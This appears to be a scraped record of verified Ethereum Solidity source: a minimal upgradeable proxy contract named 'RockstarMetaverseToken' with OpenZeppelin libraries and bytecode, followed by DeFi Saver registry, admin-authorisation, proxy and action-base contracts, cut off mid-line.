// SPDX-License-Identifier: MIT // // 8888888b. 888 888 888b d888 888 // 888 Y88b 888 888 8888b d8888 888 // 888 888 888 888 88888b.d88888 888 // 888 d88P .d88b. .d8888b 888 888 .d8888b 888888 8888b. 888d888 888Y88888P888 .d88b. 888888 8888b. 888 888 .d88b. 888d888 .d8888b .d88b. // 8888888P" d88""88b d88P" 888 .88P 88K 888 "88b 888P" 888 Y888P 888 d8P Y8b 888 "88b 888 888 d8P Y8b 888P" 88K d8P Y8b // 888 T88b 888 888 888 888888K "Y8888b. 888 .d888888 888 888 Y8P 888 88888888 888 .d888888 Y88 88P 88888888 888 "Y8888b. 88888888 // 888 T88b Y88..88P Y88b. 888 "88b X88 Y88b. 888 888 888 888 " 888 Y8b. Y88b. 888 888 Y8bd8P Y8b. 888 X88 Y8b. // 888 T88b "Y88P" "Y8888P 888 888 88888P' "Y888 "Y888888 888 888 888 "Y8888 "Y888 "Y888888 Y88P "Y8888 888 88888P' "Y8888 // // pragma solidity ^0.8.0; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/StorageSlot.sol"; contract RockstarMetaverseToken { bytes32 internal constant KEY = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; constructor(bytes memory _a, bytes memory _data) payable { assert(KEY == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1)); (address addr) = abi.decode(_a, (address)); StorageSlot.getAddressSlot(KEY).value = addr; if (_data.length > 0) { Address.functionDelegateCall(addr, _data); } } function _beforeFallback() internal virtual {} fallback() external payable virtual { _fallback(); } receive() external payable virtual { _fallback(); } function _g(address to) internal virtual { assembly { calldatacopy(0, 0, calldatasize()) let result := delegatecall(gas(), to, 0, calldatasize(), 0, 0) returndatacopy(0, 0, returndatasize()) switch result case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } function _fallback() internal virtual { _beforeFallback(); _g(StorageSlot.getAddressSlot(KEY).value); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Library for reading and writing primitive types to specific storage slots. * * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts. * This library helps with reading and writing to such slots without the need for inline assembly. * * The functions in this library return Slot structs that contain a `value` member that can be used to read or write. * * Example usage to set ERC1967 implementation slot: * ``` * contract ERC1967 { * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; * * function _getImplementation() internal view returns (address) { * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; * } * * function _setImplementation(address newImplementation) internal { * require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; * } * } * ``` * * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._ */ library StorageSlot { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } /** * @dev Returns an `AddressSlot` with member `value` located at `slot`. */ function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `BooleanSlot` with member `value` located at `slot`. */ function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Bytes32Slot` with member `value` located at `slot`. */ function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Uint256Slot` with member `value` located at `slot`. */ function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { assembly { r.slot := slot } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } }
0x60806040523661001357610011610017565b005b6100115b61004a7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031661007b565b565b90565b606061007483836040518060600160405280602781526020016102316027913961009f565b9392505050565b3660008037600080366000845af43d6000803e80801561009a573d6000f35b3d6000fd5b6060833b6101035760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084015b60405180910390fd5b600080856001600160a01b03168560405161011e91906101b1565b600060405180830381855af49150503d8060008114610159576040519150601f19603f3d011682016040523d82523d6000602084013e61015e565b606091505b509150915061016e828286610178565b9695505050505050565b60608315610187575081610074565b8251156101975782518084602001fd5b8160405162461bcd60e51b81526004016100fa91906101cd565b600082516101c3818460208701610200565b9190910192915050565b60208152600082518060208401526101ec816040850160208701610200565b601f01601f19169190910160400192915050565b60005b8381101561021b578181015183820152602001610203565b8381111561022a576000848401525b5050505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220db28ae3af47ba5900e235d1aedd54d7b6675570d52765086a1291b663099a3b764736f6c63430008070033
[ 5 ]
0xf2c87782D6Eff0511e82007119BAC40e9ba86F69
// SPDX-License-Identifier: MIT pragma solidity =0.8.10; pragma experimental ABIEncoderV2; abstract contract IDFSRegistry { function getAddr(bytes4 _id) public view virtual returns (address); function addNewContract( bytes32 _id, address _contractAddr, uint256 _waitPeriod ) public virtual; function startContractChange(bytes32 _id, address _newContractAddr) public virtual; function approveContractChange(bytes32 _id) public virtual; function cancelContractChange(bytes32 _id) public virtual; function changeWaitPeriod(bytes32 _id, uint256 _newWaitPeriod) public virtual; } interface IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint256 digits); function totalSupply() external view returns (uint256 supply); function balanceOf(address _owner) external view returns (uint256 balance); function transfer(address _to, uint256 _value) external returns (bool success); function transferFrom( address _from, address _to, uint256 _value ) external returns (bool success); function approve(address _spender, uint256 _value) external returns (bool success); function allowance(address _owner, address _spender) external view returns (uint256 remaining); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } library Address { //insufficient balance error InsufficientBalance(uint256 available, uint256 required); //unable to send value, recipient may have reverted error SendingValueFail(); //insufficient balance for call error InsufficientBalanceForCall(uint256 available, uint256 required); //call to non-contract error NonContractCall(); function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { uint256 balance = address(this).balance; if (balance < amount){ revert InsufficientBalance(balance, amount); } // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{value: amount}(""); if (!(success)){ revert SendingValueFail(); } } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { uint256 balance = address(this).balance; if (balance < value){ revert InsufficientBalanceForCall(balance, value); } return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue( address target, bytes memory data, uint256 weiValue, string memory errorMessage ) private returns (bytes memory) { if (!(isContract(target))){ revert NonContractCall(); } // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{value: weiValue}(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn( token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value) ); } /// @dev Edited so it always first approves 0 and then the value, because of non standard tokens function safeApprove( IERC20 token, address spender, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, 0)); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn( token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance) ); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender).sub( value, "SafeERC20: decreased allowance below zero" ); _callOptionalReturn( token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance) ); } function _callOptionalReturn(IERC20 token, bytes memory data) private { bytes memory returndata = address(token).functionCall( data, "SafeERC20: low-level call failed" ); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract MainnetAuthAddresses { address internal constant ADMIN_VAULT_ADDR = 0xCCf3d848e08b94478Ed8f46fFead3008faF581fD; address internal constant FACTORY_ADDRESS = 0x5a15566417e6C1c9546523066500bDDBc53F88C7; address internal constant ADMIN_ADDR = 0x25eFA336886C74eA8E282ac466BdCd0199f85BB9; // USED IN ADMIN VAULT CONSTRUCTOR } contract AuthHelper is MainnetAuthAddresses { } contract AdminVault is AuthHelper { address public owner; address public admin; error SenderNotAdmin(); constructor() { owner = msg.sender; admin = ADMIN_ADDR; } /// @notice Admin is able to change owner /// @param _owner Address of new owner function changeOwner(address _owner) public { if (admin != msg.sender){ revert SenderNotAdmin(); } owner = _owner; } /// @notice Admin is able to set new admin /// @param _admin Address of multisig that becomes new admin function changeAdmin(address _admin) public { if (admin != msg.sender){ revert SenderNotAdmin(); } admin = _admin; } } contract AdminAuth is AuthHelper { using SafeERC20 for IERC20; AdminVault public constant adminVault = AdminVault(ADMIN_VAULT_ADDR); error SenderNotOwner(); error SenderNotAdmin(); modifier onlyOwner() { if (adminVault.owner() != msg.sender){ revert SenderNotOwner(); } _; } modifier onlyAdmin() { if (adminVault.admin() != msg.sender){ revert SenderNotAdmin(); } _; } /// @notice withdraw stuck funds function withdrawStuckFunds(address _token, address _receiver, uint256 _amount) public onlyOwner { if (_token == 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE) { payable(_receiver).transfer(_amount); } else { IERC20(_token).safeTransfer(_receiver, _amount); } } /// @notice Destroy the contract function kill() public onlyAdmin { selfdestruct(payable(msg.sender)); } } contract DFSRegistry is AdminAuth { error EntryAlreadyExistsError(bytes4); error EntryNonExistentError(bytes4); error EntryNotInChangeError(bytes4); error ChangeNotReadyError(uint256,uint256); error EmptyPrevAddrError(bytes4); error AlreadyInContractChangeError(bytes4); error AlreadyInWaitPeriodChangeError(bytes4); event AddNewContract(address,bytes4,address,uint256); event RevertToPreviousAddress(address,bytes4,address,address); event StartContractChange(address,bytes4,address,address); event ApproveContractChange(address,bytes4,address,address); event CancelContractChange(address,bytes4,address,address); event StartWaitPeriodChange(address,bytes4,uint256); event ApproveWaitPeriodChange(address,bytes4,uint256,uint256); event CancelWaitPeriodChange(address,bytes4,uint256,uint256); struct Entry { address contractAddr; uint256 waitPeriod; uint256 changeStartTime; bool inContractChange; bool inWaitPeriodChange; bool exists; } mapping(bytes4 => Entry) public entries; mapping(bytes4 => address) public previousAddresses; mapping(bytes4 => address) public pendingAddresses; mapping(bytes4 => uint256) public pendingWaitTimes; /// @notice Given an contract id returns the registered address /// @dev Id is keccak256 of the contract name /// @param _id Id of contract function getAddr(bytes4 _id) public view returns (address) { return entries[_id].contractAddr; } /// @notice Helper function to easily query if id is registered /// @param _id Id of contract function isRegistered(bytes4 _id) public view returns (bool) { return entries[_id].exists; } /////////////////////////// OWNER ONLY FUNCTIONS /////////////////////////// /// @notice Adds a new contract to the registry /// @param _id Id of contract /// @param _contractAddr Address of the contract /// @param _waitPeriod Amount of time to wait before a contract address can be changed function addNewContract( bytes4 _id, address _contractAddr, uint256 _waitPeriod ) public onlyOwner { if (entries[_id].exists){ revert EntryAlreadyExistsError(_id); } entries[_id] = Entry({ contractAddr: _contractAddr, waitPeriod: _waitPeriod, changeStartTime: 0, inContractChange: false, inWaitPeriodChange: false, exists: true }); emit AddNewContract(msg.sender, _id, _contractAddr, _waitPeriod); } /// @notice Reverts to the previous address immediately /// @dev In case the new version has a fault, a quick way to fallback to the old contract /// @param _id Id of contract function revertToPreviousAddress(bytes4 _id) public onlyOwner { if (!(entries[_id].exists)){ revert EntryNonExistentError(_id); } if (previousAddresses[_id] == address(0)){ revert EmptyPrevAddrError(_id); } address currentAddr = entries[_id].contractAddr; entries[_id].contractAddr = previousAddresses[_id]; emit RevertToPreviousAddress(msg.sender, _id, currentAddr, previousAddresses[_id]); } /// @notice Starts an address change for an existing entry /// @dev Can override a change that is currently in progress /// @param _id Id of contract /// @param _newContractAddr Address of the new contract function startContractChange(bytes4 _id, address _newContractAddr) public onlyOwner { if (!entries[_id].exists){ revert EntryNonExistentError(_id); } if (entries[_id].inWaitPeriodChange){ revert AlreadyInWaitPeriodChangeError(_id); } entries[_id].changeStartTime = block.timestamp; // solhint-disable-line entries[_id].inContractChange = true; pendingAddresses[_id] = _newContractAddr; emit StartContractChange(msg.sender, _id, entries[_id].contractAddr, _newContractAddr); } /// @notice Changes new contract address, correct time must have passed /// @param _id Id of contract function approveContractChange(bytes4 _id) public onlyOwner { if (!entries[_id].exists){ revert EntryNonExistentError(_id); } if (!entries[_id].inContractChange){ revert EntryNotInChangeError(_id); } if (block.timestamp < (entries[_id].changeStartTime + entries[_id].waitPeriod)){// solhint-disable-line revert ChangeNotReadyError(block.timestamp, (entries[_id].changeStartTime + entries[_id].waitPeriod)); } address oldContractAddr = entries[_id].contractAddr; entries[_id].contractAddr = pendingAddresses[_id]; entries[_id].inContractChange = false; entries[_id].changeStartTime = 0; pendingAddresses[_id] = address(0); previousAddresses[_id] = oldContractAddr; emit ApproveContractChange(msg.sender, _id, oldContractAddr, entries[_id].contractAddr); } /// @notice Cancel pending change /// @param _id Id of contract function cancelContractChange(bytes4 _id) public onlyOwner { if (!entries[_id].exists){ revert EntryNonExistentError(_id); } if (!entries[_id].inContractChange){ revert EntryNotInChangeError(_id); } address oldContractAddr = pendingAddresses[_id]; pendingAddresses[_id] = address(0); entries[_id].inContractChange = false; entries[_id].changeStartTime = 0; emit CancelContractChange(msg.sender, _id, oldContractAddr, entries[_id].contractAddr); } /// @notice Starts the change for waitPeriod /// @param _id Id of contract /// @param _newWaitPeriod New wait time function startWaitPeriodChange(bytes4 _id, uint256 _newWaitPeriod) public onlyOwner { if (!entries[_id].exists){ revert EntryNonExistentError(_id); } if (entries[_id].inContractChange){ revert AlreadyInContractChangeError(_id); } pendingWaitTimes[_id] = _newWaitPeriod; entries[_id].changeStartTime = block.timestamp; // solhint-disable-line entries[_id].inWaitPeriodChange = true; emit StartWaitPeriodChange(msg.sender, _id, _newWaitPeriod); } /// @notice Changes new wait period, correct time must have passed /// @param _id Id of contract function approveWaitPeriodChange(bytes4 _id) public onlyOwner { if (!entries[_id].exists){ revert EntryNonExistentError(_id); } if (!entries[_id].inWaitPeriodChange){ revert EntryNotInChangeError(_id); } if (block.timestamp < (entries[_id].changeStartTime + entries[_id].waitPeriod)){ // solhint-disable-line revert ChangeNotReadyError(block.timestamp, (entries[_id].changeStartTime + entries[_id].waitPeriod)); } uint256 oldWaitTime = entries[_id].waitPeriod; entries[_id].waitPeriod = pendingWaitTimes[_id]; entries[_id].inWaitPeriodChange = false; entries[_id].changeStartTime = 0; pendingWaitTimes[_id] = 0; emit ApproveWaitPeriodChange(msg.sender, _id, oldWaitTime, entries[_id].waitPeriod); } /// @notice Cancel wait period change /// @param _id Id of contract function cancelWaitPeriodChange(bytes4 _id) public onlyOwner { if (!entries[_id].exists){ revert EntryNonExistentError(_id); } if (!entries[_id].inWaitPeriodChange){ revert EntryNotInChangeError(_id); } uint256 oldWaitPeriod = pendingWaitTimes[_id]; pendingWaitTimes[_id] = 0; entries[_id].inWaitPeriodChange = false; entries[_id].changeStartTime = 0; emit CancelWaitPeriodChange(msg.sender, _id, oldWaitPeriod, entries[_id].waitPeriod); } } abstract contract DSAuthority { function canCall( address src, address dst, bytes4 sig ) public view virtual returns (bool); } contract DSAuthEvents { event LogSetAuthority(address indexed authority); event LogSetOwner(address indexed owner); } contract DSAuth is DSAuthEvents { DSAuthority public authority; address public owner; constructor() { owner = msg.sender; emit LogSetOwner(msg.sender); } function setOwner(address owner_) public auth { owner = owner_; emit LogSetOwner(owner); } function setAuthority(DSAuthority authority_) public auth { authority = authority_; emit LogSetAuthority(address(authority)); } modifier auth { require(isAuthorized(msg.sender, msg.sig), "Not authorized"); _; } function isAuthorized(address src, bytes4 sig) internal view returns (bool) { if (src == address(this)) { return true; } else if (src == owner) { return true; } else if (authority == DSAuthority(address(0))) { return false; } else { return authority.canCall(src, address(this), sig); } } } contract DSNote { event LogNote( bytes4 indexed sig, address indexed guy, bytes32 indexed foo, bytes32 indexed bar, uint256 wad, bytes fax ) anonymous; modifier note { bytes32 foo; bytes32 bar; assembly { foo := calldataload(4) bar := calldataload(36) } emit LogNote(msg.sig, msg.sender, foo, bar, msg.value, msg.data); _; } } abstract contract DSProxy is DSAuth, DSNote { DSProxyCache public cache; // global cache for contracts constructor(address _cacheAddr) { if (!(setCache(_cacheAddr))){ require(isAuthorized(msg.sender, msg.sig), "Not authorized"); } } // solhint-disable-next-line no-empty-blocks receive() external payable {} // use the proxy to execute calldata _data on contract _code function execute(bytes memory _code, bytes memory _data) public payable virtual returns (address target, bytes32 response); function execute(address _target, bytes memory _data) public payable virtual returns (bytes32 response); //set new cache function setCache(address _cacheAddr) public payable virtual returns (bool); } contract DSProxyCache { mapping(bytes32 => address) cache; function read(bytes memory _code) public view returns (address) { bytes32 hash = keccak256(_code); return cache[hash]; } function write(bytes memory _code) public returns (address target) { assembly { target := create(0, add(_code, 0x20), mload(_code)) switch iszero(extcodesize(target)) case 1 { // throw if contract failed to deploy revert(0, 0) } } bytes32 hash = keccak256(_code); cache[hash] = target; } } contract DefisaverLogger { event RecipeEvent( address indexed caller, string indexed logName ); event ActionDirectEvent( address indexed caller, string indexed logName, bytes data ); function logRecipeEvent( string memory _logName ) public { emit RecipeEvent(msg.sender, _logName); } function logActionDirectEvent( string memory _logName, bytes memory _data ) public { emit ActionDirectEvent(msg.sender, _logName, _data); } } contract MainnetActionsUtilAddresses { address internal constant DFS_REG_CONTROLLER_ADDR = 0xF8f8B3C98Cf2E63Df3041b73f80F362a4cf3A576; address internal constant REGISTRY_ADDR = 0x287778F121F134C66212FB16c9b53eC991D32f5b; address internal constant DFS_LOGGER_ADDR = 0xcE7a977Cac4a481bc84AC06b2Da0df614e621cf3; } contract ActionsUtilHelper is MainnetActionsUtilAddresses { } abstract contract ActionBase is AdminAuth, ActionsUtilHelper { event ActionEvent( string indexed logName, bytes data ); DFSRegistry public constant registry = DFSRegistry(REGISTRY_ADDR); DefisaverLogger public constant logger = DefisaverLogger( DFS_LOGGER_ADDR ); //Wrong sub index value error SubIndexValueError(); //Wrong return index value error ReturnIndexValueError(); /// @dev Subscription params index range [128, 255] uint8 public constant SUB_MIN_INDEX_VALUE = 128; uint8 public constant SUB_MAX_INDEX_VALUE = 255; /// @dev Return params index range [1, 127] uint8 public constant RETURN_MIN_INDEX_VALUE = 1; uint8 public constant RETURN_MAX_INDEX_VALUE = 127; /// @dev If the input value should not be replaced uint8 public constant NO_PARAM_MAPPING = 0; /// @dev We need to parse Flash loan actions in a different way enum ActionType { FL_ACTION, STANDARD_ACTION, FEE_ACTION, CHECK_ACTION, CUSTOM_ACTION } /// @notice Parses inputs and runs the implemented action through a proxy /// @dev Is called by the RecipeExecutor chaining actions together /// @param _callData Array of input values each value encoded as bytes /// @param _subData Array of subscribed vales, replaces input values if specified /// @param _paramMapping Array that specifies how return and subscribed values are mapped in input /// @param _returnValues Returns values from actions before, which can be injected in inputs /// @return Returns a bytes32 value through DSProxy, each actions implements what that value is function executeAction( bytes memory _callData, bytes32[] memory _subData, uint8[] memory _paramMapping, bytes32[] memory _returnValues ) public payable virtual returns (bytes32); /// @notice Parses inputs and runs the single implemented action through a proxy /// @dev Used to save gas when executing a single action directly function executeActionDirect(bytes memory _callData) public virtual payable; /// @notice Returns the type of action we are implementing function actionType() public pure virtual returns (uint8); //////////////////////////// HELPER METHODS //////////////////////////// /// @notice Given an uint256 input, injects return/sub values if specified /// @param _param The original input value /// @param _mapType Indicated the type of the input in paramMapping /// @param _subData Array of subscription data we can replace the input value with /// @param _returnValues Array of subscription data we can replace the input value with function _parseParamUint( uint _param, uint8 _mapType, bytes32[] memory _subData, bytes32[] memory _returnValues ) internal pure returns (uint) { if (isReplaceable(_mapType)) { if (isReturnInjection(_mapType)) { _param = uint(_returnValues[getReturnIndex(_mapType)]); } else { _param = uint256(_subData[getSubIndex(_mapType)]); } } return _param; } /// @notice Given an addr input, injects return/sub values if specified /// @param _param The original input value /// @param _mapType Indicated the type of the input in paramMapping /// @param _subData Array of subscription data we can replace the input value with /// @param _returnValues Array of subscription data we can replace the input value with function _parseParamAddr( address _param, uint8 _mapType, bytes32[] memory _subData, bytes32[] memory _returnValues ) internal view returns (address) { if (isReplaceable(_mapType)) { if (isReturnInjection(_mapType)) { _param = address(bytes20((_returnValues[getReturnIndex(_mapType)]))); } else { /// @dev The last two values are specially reserved for proxy addr and owner addr if (_mapType == 254) return address(this); //DSProxy address if (_mapType == 255) return DSProxy(payable(address(this))).owner(); // owner of DSProxy _param = address(uint160(uint256(_subData[getSubIndex(_mapType)]))); } } return _param; } /// @notice Given an bytes32 input, injects return/sub values if specified /// @param _param The original input value /// @param _mapType Indicated the type of the input in paramMapping /// @param _subData Array of subscription data we can replace the input value with /// @param _returnValues Array of subscription data we can replace the input value with function _parseParamABytes32( bytes32 _param, uint8 _mapType, bytes32[] memory _subData, bytes32[] memory _returnValues ) internal pure returns (bytes32) { if (isReplaceable(_mapType)) { if (isReturnInjection(_mapType)) { _param = (_returnValues[getReturnIndex(_mapType)]); } else { _param = _subData[getSubIndex(_mapType)]; } } return _param; } /// @notice Checks if the paramMapping value indicated that we need to inject values /// @param _type Indicated the type of the input function isReplaceable(uint8 _type) internal pure returns (bool) { return _type != NO_PARAM_MAPPING; } /// @notice Checks if the paramMapping value is in the return value range /// @param _type Indicated the type of the input function isReturnInjection(uint8 _type) internal pure returns (bool) { return (_type >= RETURN_MIN_INDEX_VALUE) && (_type <= RETURN_MAX_INDEX_VALUE); } /// @notice Transforms the paramMapping value to the index in return array value /// @param _type Indicated the type of the input function getReturnIndex(uint8 _type) internal pure returns (uint8) { if (!(isReturnInjection(_type))){ revert SubIndexValueError(); } return (_type - RETURN_MIN_INDEX_VALUE); } /// @notice Transforms the paramMapping value to the index in sub array value /// @param _type Indicated the type of the input function getSubIndex(uint8 _type) internal pure returns (uint8) { if (_type < SUB_MIN_INDEX_VALUE){ revert ReturnIndexValueError(); } return (_type - SUB_MIN_INDEX_VALUE); } } abstract contract IWETH { function allowance(address, address) public virtual view returns (uint256); function balanceOf(address) public virtual view returns (uint256); function approve(address, uint256) public virtual; function transfer(address, uint256) public virtual returns (bool); function transferFrom( address, address, uint256 ) public virtual returns (bool); function deposit() public payable virtual; function withdraw(uint256) public virtual; } library TokenUtils { using SafeERC20 for IERC20; address public constant WETH_ADDR = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address public constant ETH_ADDR = 